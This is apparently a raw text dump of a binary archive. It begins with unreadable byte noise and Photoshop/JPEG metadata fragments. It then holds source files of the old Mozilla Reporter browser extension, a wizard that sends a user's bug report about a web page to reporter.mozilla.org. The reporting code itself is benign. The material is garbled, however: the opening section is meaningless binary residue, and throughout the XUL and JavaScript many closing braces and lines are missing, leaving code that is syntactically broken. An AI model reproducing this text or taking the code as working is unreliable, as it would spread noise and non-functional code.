Ci5)7PiA@u=%(F
?2@${` )@
iAR:n?|)
}3/24/2019 3/24/2019 3/25/2019 1BM
DDDLDDDDDDDDDDDLDDDDDDDDDLDDDDDLDDDDDDDDDDDDLLDDDDDLLDDDDDLDLDDDDDDLDDDDDLDDDDDDLDLDLDDDDDDDDLDDLDLDDLDLDDDDDDDLDLDDLDLDDDDDDDDLDDDDDDDDLDDLDDDDDDDDLDDDLDLDDDDDDDLDLLDDLDDDDDLLDDDDDDLDDLDDLDDDDDLLDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDDDDDDLLDDDDDLDLDDDDDDLLLDDDDDDLDLLDDDLDLLLLLDDDDDDDDLLLDDDDDDDDDLLDDDDLDDDLLDDDLDDDDDDDDLLDDDDDDLDDDDDDLDLDLDDDDDLLLDDDDDLDLDLDDDDDDLDDDDDDDLLDDDDDDLLDDDLDDDDDDDDDDLLDDDDLDDDLLLDDDDLDDDLDLLLLLDDDDDDLDDDDDDLLDDDDDDDLDLDDDDDDLLDDDDDLDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLLDDDDLDDDDDLDDDDDLLDDDDDDLDDLLDLDDDDDDDLDLDDLDDDDDDDDLDDDLDDDDDDDDLDDDDDDDDLDLDDLDLDDDDDDDLDLDDLDLDLDDDDDDDDLDDLDLDDDDDDLDDDDDLDDDDDDLDDDDDDDLLDDDDDLLDDDDDLDDDDDDLDDDDDLD3/28/2019 13/28/2019 13/29/2019 1
&Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
kRRd8-
cY^Llu;.27,mI!
'M>)cb{1b}Mx
?F5u62*1
bw*'i$:bI$
+1[;tRe?/6YON=:jZ
]q42f>;7
mrq3"J
mv{m'~E1*l5
_k]f5>|fllZlfa^/-o W-iqDg7
z/ef;xp;m
' ;$R-
32?C1Z
`[5moQz]x}s
5IzhN{FgU?Akc;f
Fzxuz;
R}}K+]l1
UN;nUq']_!O-`<
*=;l5n.;w_
uL\`jk6=H
kJoOao4g<_+j
{=[\V5
_g=5ED
Szi$Dvoa
5YzY8b
;4b\.7f8
re?a5/
o{cy4}o
zM:=ud:ZsF1i27dd
>Pe6HVpv=ijem]
fBX1/$M
pT0[.`;qZ]N>{E
26Vc}[[
kgn??}#,#OsJs:F^
[>iGXkj
tX-}gn+
uI$<\K2(7kC`lkXG_
-f5"im
8pSpe(
v@%-q p
a PcZ!
S%.0<xL-Eck@=8
:Tlh<b|S
(NJY:I$
Version compatibility info
JPEG Quality
!Adobe
P1A"#$
AQaq"
@Pr3$C%
`]P*uK
G:|NX]v
Y=:*6wRzY
\;>6<v>|
4Q/~gpJ{6
Xpy%$ZQEHu.[
%oHh<v=8
[_7gZN
]z>x#K
p9CY5.
jy?<=[
t5`VnL_U
AOI]3;u9.^x
SZZ0<]V
Sbfji$Hl
j/7k,b
h[^VTNu(39h
'>'VU+
QZAi<jjS<$
g/Y2*31
--$Mcq/
Y@)~52
2tqZq}G0
7-SSm.
~:V|Z'
d+/_q8
I+oW`"!abp%
I.G08e,J[\Xq2&[{*FhyK
H:YF,}(qu
*BEYa
v89S#ct3$%BA1Q
T!ZEvQOI(D+c
XTf"|
W!f0f%[
*1q"qD
9Qvqnk6Is
;6fBmxogV^QQRqlhR>t
3uY]}cKMIW
e,T[ MpATLU
Y$-Ls)~
V9$7Q_@
OD*1@@
B<B[wZ^-@
!9K9DwB`
R<RL-9ET
c7UAk0
:>f^"FQh
>BAd};MZse
x3##)Uu
F*@`9e
|b1w:dA
Qt}5}l,^3ky: e$|
pST`Ow/
V}o#KJ'`mb7
,ULN`w|uYzR
IR?`1inV
f)`z|H
DJTGb$n
;vQn@2`@@
IPM0L@
@5k`}7
/;OfjmR
,w$~Fcd I(ylzCd
lYyFyN
! {R.o;=
}#mVLKU-k
eB]kul
81;DN1V?S+`
!nZ"Ma "^1nj
IDL\AwVuls
10^P*/=N
>]14*
*5zX0^8`
OXu$E\N0b&v
nm2v5p
ZzJ;j!
HxG#8T)
1e[W>w
5)5O@O
G-Q; ze(#?Mi{N
8q0=e}
hen4@kZ
EPSL5k2
;Hmg{$
@ U,}G
@rOLb&
H.(P4N&m-9JW)
trW<6S
,)U8OgB7kikWk
Rk%:s;P
5(H8(j
"!sa,0z
=FSae7bx5
xUQN?SB
=c-_E{V-
<{B[J6&
sposPr:
%#C_\\Vpy
RuPfv!
;]&Ps;
Cym9pR@
j8ApL;
~tr@k4
J4Ph.8fJ
Y4\"0w
{j.Lf
gNRBd3e(\9
C~X0r+%S29|>|
s}Dup&E
g.]K@g
pFj94:li.ikqzW0
j:=P6uAr
5NNwS*
qfi- ")slr#C
H !2"*Yzy(.`#\$DF
;1S5r`
&Yw$Th!G
GCCVT~YW`X)NI9l3l[Uo+
~42v",Xz<
.AQas!%]
4UXuk}xWNd
Y.1ms.
Llz@2\O
d;}7TspuG2
;:45I
7SmE;V
Krz|_&+>?1U
4)-<Nokn
&e<e_!
hK$elnGZKPD
\s:z|I;RBKFO_`
tsE)cS:
J#n3|:
/%ox${
=1>2?J
71C3\F
q>~~E
Fpo!a,c
b.,q8)
Tmm1#^!cbB
VD1` Cqs&
pBg2Gh-a
K||oqj]
rU"nGFU;2
>/~vZx;
W@:l>6
dhcI..\<
o|1k,H~'m
D46e/=)CZ
LS<-rQ#-G!%$
@x|o9l-)^%gmyn
zM8djGms!cPJ
h?RZZZO]Zo
~|g$;\[4G/!L
u0]lux
da$4M )
VT!o$bdx*u
uB@u>}z?8
DxDU?u?
y.vL'W
r_y0M?
@he,$,
{,\p!ORvUIJwxwU
W^i@;C
5EMket'AX/
oMm"JVmO\/
pc.'p{a2%
{/~rW9,
[\.m",+Vk*
\e,DD#Xc(% nue3|zn)qs,Ac--
)|!`GXOI
]o2Oe,
KgiZuhp
?uRi@{@
y\<Wy`V
.ukr.y/&LOy
zhap5Iy>
RS&_k:
cYs5v
*8}(qi[f6`
/G\\%6s^PwS#k`X
+,QecU7
]J=c~<cc!Z
p&dElc|
~]*M:\emOc
11`(iYKY
v^18"r-q.x
7M$F=X
I@{Hhu!A;
:?1E$9NO
*J>=<r
d.U~g]ZJ
-H#$aX]2
zr:m)fA
{c>w2dZM
qL(y
lC2Lvo+
]s\_I=
/GSqW<
TRhOn8
@w?'x<:
INkfy?gy
_NR?MVP-6E#
)Bo>+dVb?.ZnF
VVOGz[9Y2k
iIQVT*J
NT[[iz}<F[s
C)OQj@
]E$/{,
JuNj#RA4Cui5
OJ$K%V8"
OhhG`GAiC]G
SA^x0F;T'
zhhakD
tg*ueUjNld;
!M}ZW[h
iTRtui
Jw~Y](
cONKZB
=G'X2t:
kyT<f8;.
6= vWsZ
\?i+6{z{Yk#!SZ
Tz15@a
=.+>;uMF^
:Smtw#
Wo~]*
u#BR}O
iF]ETU_
4/1/2019 14/1/2019 14/1/2019 1PK
content/reporter/reportWizard.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
<?xml-stylesheet href="chrome://reporter/skin/reportWizard.css" type="text/css"?>
<!DOCTYPE wizard [
<!ENTITY % brandDTD SYSTEM "chrome://branding/locale/brand.dtd">
%brandDTD;
<!ENTITY % reportWizardDTD SYSTEM "chrome://reporter/locale/reportWizard.dtd">
%reportWizardDTD;
<wizard id="reportWizard" title="&reportWizard.title;"
style="min-width: 535px; min-height: 442px;"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reportWizard.js"/>
<stringbundle id="strings" src="chrome://reporter/locale/reportWizard.properties"/>
<!-- Privacy Notice -->
<wizardpage id="privacyNotice"
onpageshow="initPrivacyNotice()"
onpageadvanced="setPrivacyPref()"
label = "&privacyNotice.label;">
<description>&reportWizardPrivacy.description;</description>
<vbox id="privacyFrame" flex="1">
<iframe id="privacyStatement" type="content" flex="1" src="" />
</vbox>
<description id="mustAgree">&reportWizardMustAgree.description;</description>
<vbox>
<hbox>
<checkbox id="dontShowPrivacyStatement" label="&dontShowPrivacyStatement.label;" accesskey="&dontShowPrivacyStatement.accesskey;" oncommand="privacyPolicyCheckbox()" />
</hbox>
</vbox>
</wizardpage>
<!-- Report Form -->
<wizardpage id="reportForm"
onpageshow="initForm()"
label="&reportForm.label;">
<description>&reportForm.description;</description>
<separator />
<grid>
<columns>
<column/>
<column flex="1"/>
</columns>
<rows>
<row align="center">
<label control="url" value="&reportForm.url.title;" accesskey="&reportForm.url.accesskey;"/>
<textbox id="url" size="60" readonly="true" class="noborder"/>
</row>
<row align="center">
<spacer/>
<checkbox id="behind_login" label="&reportForm.behind_login.title;" accesskey="&reportForm.behind_login.accesskey;"/>
</row>
<row align="center">
<label control="problem_type" value="&reportForm.problem_type.title;" accesskey="&reportForm.problem_type.accesskey;"/>
<!-- XXX: Perhaps this should eventually/maybe come from somewhere else? Eh, not sure so lets just hardcode this for now. -->
<menulist label="problem_type" id="problem_type" oncommand="validateForm()">
<menupopup>
<!-- ************* WARNING *************** -->
<!-- DO *NOT* Add/change/modify without consulting with r.m.o server admin first! -->
<!-- ************ /WARNING *************** -->
<menuitem label="&reportForm.problem_type.chooseOne.title;" value="0"/>
<menuitem label="&reportForm.problem_type.item1.title;" value="1"/>
<menuitem label="&reportForm.problem_type.item2.title;" value="2"/>
<menuitem label="&reportForm.problem_type.item3.title;" value="3"/>
<menuitem label="&reportForm.problem_type.item4.title;" value="4"/>
<menuitem label="&reportForm.problem_type.item5.title;" value="5"/>
<menuitem label="&reportForm.problem_type.item6.title;" value="6"/>
<menuitem label="&reportForm.problem_type.item8.title;" value="8"/>
<menuitem label="&reportForm.problem_type.item9.title;" value="9"/>
<!-- Other problem: must be item #7 and must be last -->
<menuitem label="&reportForm.problem_type.item7.title;" value="7"/>
</menupopup>
</menulist>
</row>
<row>
<label control="description" value="&reportForm.describe.title;" accesskey="&reportForm.describe.accesskey;"/>
<textbox id="description" value="" cols="40" rows="5" multiline="true" size="40" class="noborder"/>
</row>
<row align="center">
<label control="email" value="&reportForm.email.title;" accesskey="&reportForm.email.accesskey;"/>
<textbox id="email" size="60" class="noborder"/>
</row>
<row align="center">
<spacer/>
<hbox>
<label id="privacyPolicy" class="text-link"
value="&reportForm.privacyPolicy.title;"
tooltiptext="&reportForm.privacyPolicy.tooltip;"/>
</hbox>
</row>
</rows>
</grid>
</wizardpage>
<!-- Send Data -->
<wizardpage id="sendReport"
onpageshow="sendReport()"
label="&sendReport.label;">
<description>&sendReport.description;</description>
<separator />
<description id="sendReportProgressDescription"/>
<progressmeter id="sendReportProgressIndicator" mode="undetermined" value="0%"/>
</wizardpage>
<!-- Finish -->
<wizardpage id="finish"
label="&finish.label;">
<textbox id="finishSummary" size="60" readonly="true"/>
<hbox>
<checkbox id="showDetail" label="&reportResults.showDetail.title;" accesskey="&reportResults.showDetail.accesskey;" oncommand="showDetail()"/>
</hbox>
<vbox id="finishExtendedFrame" flex="1">
<iframe id="finishExtendedSuccess" type="content" src="report.xhtml" flex="1"/>
<iframe id="finishExtendedFailed" type="content" src="error.xhtml" flex="1"/>
</vbox>
</wizardpage>
</wizard>
}e7IF;
content/reporter/reportWizard.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Boris Zbarsky <bzbarsky@mit.edu>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
/********************************************************
* *** Warning ****
* DO _NOT_ MODIFY THIS FILE without first contacting
* Robert Accettura <robert@accettura.com>
* or a reporter.mozilla.org Admin!
*******************************************************/
const gParamLanguage = window.navigator.language;
const gRMOvers = "0.3"; // Do not touch without contacting reporter admin!
const gParamURL = window.arguments[0];
const gParamUserAgent = navigator.userAgent;
const gParamOSCPU = navigator.oscpu;
const gParamPlatform = navigator.platform;
const gCharset = window.arguments[1];
// Globals
var gParamDescription;
var gParamProblemType;
var gParamBehindLogin;
var gParamEmail;
var gParamBuildConfig;
var gParamGecko;
var gPrefBranch;
var gStatusIndicator;
function getReporterPrefBranch() {
if (!gPrefBranch) {
gPrefBranch = Components.classes["@mozilla.org/preferences-service;1"]
.getService(Components.interfaces.nsIPrefService)
.getBranch("extensions.reporter.");
return gPrefBranch;
function getBoolPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getBoolPref(prefname);
catch(ex) {
return aDefault;
function getCharPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getCharPref(prefname);
catch(ex) {
return aDefault;
function initPrivacyNotice() {
var reportWizard = document.getElementById('reportWizard');
// If they agreed, we continue on
if (getBoolPref("hidePrivacyStatement", false)) {
reportWizard.advance();
} else {
// Don't let users rewind or go forward
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// Load Privacy Policy
var privacyURL = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
document.getElementById("privacyStatement").setAttribute("src", privacyURL+"?plain");
function privacyPolicyCheckbox() {
// if checked, hide message and enable forward button, otherwise show the
// message and disable the forward button.
var canAdvance = document.getElementById('dontShowPrivacyStatement').checked;
document.getElementById('reportWizard').canAdvance = canAdvance;
function setPrivacyPref(){
if (document.getElementById('dontShowPrivacyStatement').checked){
var prefs = getReporterPrefBranch();
prefs.setBoolPref("hidePrivacyStatement", true);
function initForm() {
var strbundle=document.getElementById("strings");
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
document.getElementById('url').value = gParamURL;
// Change next button to "submit report"
reportWizard.getButton('next').label = strbundle.getString("submitReport");
reportWizard.getButton('next').setAttribute("accesskey",
strbundle.getString("submitReport.accesskey"));
// Set the privacy policy link href
var url = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
var privacyLink = document.getElementById("privacyPolicy");
privacyLink.setAttribute("href", url);
// We don't let the user go forward until they fulfill certain requirements - see validateform()
reportWizard.canAdvance = false;
document.getElementById("problem_type").focus();
function validateForm() {
var canAdvance = document.getElementById('problem_type').value != "0";
document.getElementById('reportWizard').canAdvance = canAdvance;
function registerSysID() {
var param = {
'method': 'submitRegister',
'language': gParamLanguage
// go get sysID
sendReporterServerData(param, onRegisterSysIDLoad);
function onRegisterSysIDLoad(req) {
if (req.status == 200) {
var paramSysID = req.responseXML.getElementsByTagName('result').item(0);
// saving
if (paramSysID) {
var prefs = getReporterPrefBranch();
prefs.setCharPref("sysid", paramSysID.textContent);
// Finally send report
sendReport();
return;
// Invalid Response Error
var strbundle = document.getElementById("strings");
showError(strbundle.getString("invalidResponse"));
return;
// On error
var errorStr = extractError(req);
showError(errorStr);
function sendReport() {
// Check for a sysid, if we don't have one, get one it will call sendReport on success.
var sysId = getCharPref("sysid", "");
if (sysId == ""){
registerSysID();
return;
// we control the user path from here.
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// why would we need a cancel button?
reportWizard.getButton("cancel").disabled = true;
var strbundle=document.getElementById("strings");
var statusDescription = document.getElementById('sendReportProgressDescription');
gStatusIndicator = document.getElementById('sendReportProgressIndicator');
// Data from form we need
gParamDescription = document.getElementById('description').value;
gParamProblemType = document.getElementById('problem_type').value;
gParamBehindLogin = document.getElementById('behind_login').checked;
gParamEmail = document.getElementById('email').value;
gParamBuildConfig = getBuildConfig();
gParamGecko = getGecko();
// params
var param = {
'method': 'submitReport',
'rmoVers': gRMOvers,
'url': gParamURL,
'problem_type': gParamProblemType,
'description': gParamDescription,
'behind_login': gParamBehindLogin,
'platform': gParamPlatform,
'oscpu': gParamOSCPU,
'gecko': gParamGecko,
'product': getProduct(),
'useragent': gParamUserAgent,
'buildconfig': gParamBuildConfig,
'language': gParamLanguage,
'email': gParamEmail,
'charset': gCharset,
'sysid': sysId
gStatusIndicator.value = "5%";
statusDescription.value = strbundle.getString("sendingReport");
sendReporterServerData(param, onSendReportDataLoad);
function onSendReportDataProgress(e) {
gStatusIndicator.value = (e.position / e.totalSize)*100;
function sendReporterServerData(params, callback) {
var serviceURL = getCharPref("serviceURL", "http://reporter.mozilla.org/service/0.3/");
params = serializeParams(params);
var request = new XMLHttpRequest();
request.onprogress = onSendReportDataProgress;
request.open("POST", serviceURL, true);
request.onreadystatechange = function () {
if (request.readyState == 4)
callback(request);
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.setRequestHeader("Content-length", params.length);
request.setRequestHeader("Connection", "close");
request.send(params);
function serializeParams(params) {
var str = '';
for (var key in params) {
str += key + '=' + encodeURIComponent(params[key]) + '&';
return str.slice(0, -1);
function onSendReportDataLoad(req) {
if (req.status != 200) {
var errorStr = extractError(req);
showError(errorStr);
return;
var reportWizard = document.getElementById('reportWizard');
var finishSummary = document.getElementById('finishSummary');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var statusDescription = document.getElementById('sendReportProgressDescription');
var strbundle = document.getElementById("strings");
// If successful
finishExtendedFailed.hidden = true;
statusDescription.value = strbundle.getString("reportSent");
reportWizard.canAdvance = true;
gStatusIndicator.value = "100%";
// Send to the finish page
reportWizard.advance();
// report ID returned from the web service
var reportId = req.responseXML.getElementsByTagName('reportId').item(0).firstChild.data;
finishSummary.value = strbundle.getString("successfullyCreatedReport") + " " + reportId;
finishExtendedDoc = finishExtendedSuccess.contentDocument;
finishExtendedDoc.getElementById('urlStri').textContent = gParamURL;
finishExtendedDoc.getElementById('problemTypeStri').textContent = document.getElementById('problem_type').label;
finishExtendedDoc.getElementById('descriptionStri').textContent = gParamDescription;
finishExtendedDoc.getElementById('platformStri').textContent = gParamPlatform;
finishExtendedDoc.getElementById('oscpuStri').textContent = gParamOSCPU;
finishExtendedDoc.getElementById('productStri').textContent = getProduct();
finishExtendedDoc.getElementById('geckoStri').textContent = gParamGecko;
finishExtendedDoc.getElementById('buildConfigStri').textContent = gParamBuildConfig;
finishExtendedDoc.getElementById('userAgentStri').textContent = gParamUserAgent;
finishExtendedDoc.getElementById('langStri').textContent = gParamLanguage;
finishExtendedDoc.getElementById('emailStri').textContent = gParamEmail;
finishExtendedDoc.getElementById('charsetStri').textContent = gCharset;
reportWizard.canRewind = false;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
return;
function extractError(req){
var error = req.responseXML.getElementsByTagName('errorString').item(0)
if (error) {
return error.textContent;
// Default error
var strbundle = document.getElementById("strings");
return strbundle.getString("defaultError");
function showError(errorStr){
var strbundle = document.getElementById("strings");
var finishSummary = document.getElementById('finishSummary');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
// If there was an error from the server
finishExtendedSuccess.hidden = true;
// Change the label on the page so users know we have an error
var finishPage = document.getElementById('finish');
finishPage.setAttribute("label",strbundle.getString("finishError"));
var reportWizard = document.getElementById('reportWizard');
reportWizard.canAdvance = true;
reportWizard.advance();
finishSummary.value = strbundle.getString("failedCreatingReport");
finishExtendedDoc = finishExtendedFailed.contentDocument;
finishExtendedDoc.getElementById('faultMessage').textContent = errorStr;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
function showDetail() {
var hideDetail = document.getElementById('showDetail').checked ? false : true;
document.getElementById('finishExtendedFrame').collapsed = hideDetail;
function getBuildConfig() {
// bz and Biesi are my heroes for writing/debugging this chunk.
try {
var ioservice =
Components.classes["@mozilla.org/network/io-service;1"]
.getService(Components.interfaces.nsIIOService);
var channel = ioservice.newChannel("chrome://global/content/buildconfig.html", null, null);
var stream = channel.open();
var scriptableInputStream =
Components.classes["@mozilla.org/scriptableinputstream;1"]
.createInstance(Components.interfaces.nsIScriptableInputStream);
scriptableInputStream.init(stream);
var data = "";
var curBit = scriptableInputStream.read(4096);
while (curBit.length) {
data += curBit;
curBit = scriptableInputStream.read(4096);
// Strip out the <!DOCTYPE> part, since it's not valid XML
data = data.replace(/^<!DOCTYPE[^>]*>/, "");
// Probably not strictly needed, but what the heck
data = data.replace(/^<html>/, "<html xmlns='http://www.w3.org/1999/xhtml'>");
var parser = new DOMParser();
var buildconfig = parser.parseFromString(data, "application/xhtml+xml");
var text = buildconfig.getElementsByTagName("body")[0].textContent;
var start= text.indexOf('Configure arguments')+19;
return text.substring(start);
} catch(ex) {
dump(ex);
return "Unknown";
function getProduct() {
try {
// Works on Firefox 1.0+ and Future SeaMonkey's
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.name+"/"+appInfo.version;
catch(ex) {}
// only works on Gecko 1.8 and higher (if above doesn't return)
if ('nsIChromeRegistrySea' in Components.interfaces) {
return 'SeaMonkey/'+
Components.classes['@mozilla.org/network/io-service;1']
.getService(Components.interfaces.nsIIOService)
.getProtocolHandler('http')
.QueryInterface(Components.interfaces.nsIHttpProtocolHandler).misc.substring(3);
// Firefox < 1.0+ or a last ditch effort for others that may fail
else if (navigator.vendor != ''){
return window.navigator.vendor+'/'+window.navigator.vendorSub;
else {
return "Unknown";
function getGecko() {
try {
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.platformBuildID;
catch(ex) {
return "00000000"; // 8 0's to ignore as we have historically
content/reporter/reporterOverlay.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Jay Patel <jay@mozilla.org>
- Gavin Sharp <gavin@gavinsharp.com>
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<!DOCTYPE overlay SYSTEM "chrome://reporter/locale/reporterOverlay.dtd">
<overlay id="reporterMenuOverlay"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reporterOverlay.js"/>
<!-- Firefox -->
<broadcasterset id="mainBroadcasterSet">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="menu_HelpPopup">
<menuitem id="menu_HelpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertafter="releaseNotes"
observes="reporterItemsBroadcaster"
oncommand="loadReporterWizard()"/>
</menupopup>
<!-- SeaMonkey -->
<broadcasterset id="navBroadcasters">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="helpPopup">
<menuseparator insertbefore="menu_HelpAboutSeparator"/>
<menuitem id="helpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertbefore="menu_HelpAboutSeparator"
oncommand="loadReporterWizard()"
observes="reporterItemsBroadcaster"/>
</menupopup>
</overlay>
}e73w@
content/reporter/reporterOverlay.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Gavin Sharp <gavin@gavinsharp.com>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
var reporterListener = {
QueryInterface: function(aIID) {
if (aIID.equals(Components.interfaces.nsIWebProgressListener) ||
aIID.equals(Components.interfaces.nsIWebProgressListener2) ||
aIID.equals(Components.interfaces.nsISupportsWeakReference) ||
aIID.equals(Components.interfaces.nsISupports))
return this;
throw Components.results.NS_NOINTERFACE;
onLocationChange: function(aProgress, aRequest, aURI) {
var broadcaster = document.getElementById("reporterItemsBroadcaster");
var isEnabled = false;
if (aURI instanceof Components.interfaces.nsIURI) {
switch (aURI.scheme) {
case "http":
case "https":
case "ftp":
case "gopher":
isEnabled = true;
}
broadcaster.setAttribute("disabled", !isEnabled);
onStateChange: function() { },
onProgressChange: function() { },
onStatusChange: function() { },
onSecurityChange: function() { },
onLinkIconAvailable: function() { },
onProgressChange64: function() { },
onRefreshAttempted: function() { return true; }
function onBrowserLoad() {
if ("undefined" != typeof(gBrowser))
gBrowser.addProgressListener(reporterListener);
function loadReporterWizard() {
var browser = getBrowser();
var charSet = browser.contentDocument.characterSet;
var url = browser.currentURI.spec;
window.openDialog("chrome://reporter/content/reportWizard.xul", "",
"chrome,centerscreen,dialog",
url,
charSet);
return true;
window.addEventListener("load", onBrowserLoad, false);
content/reporter/error.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
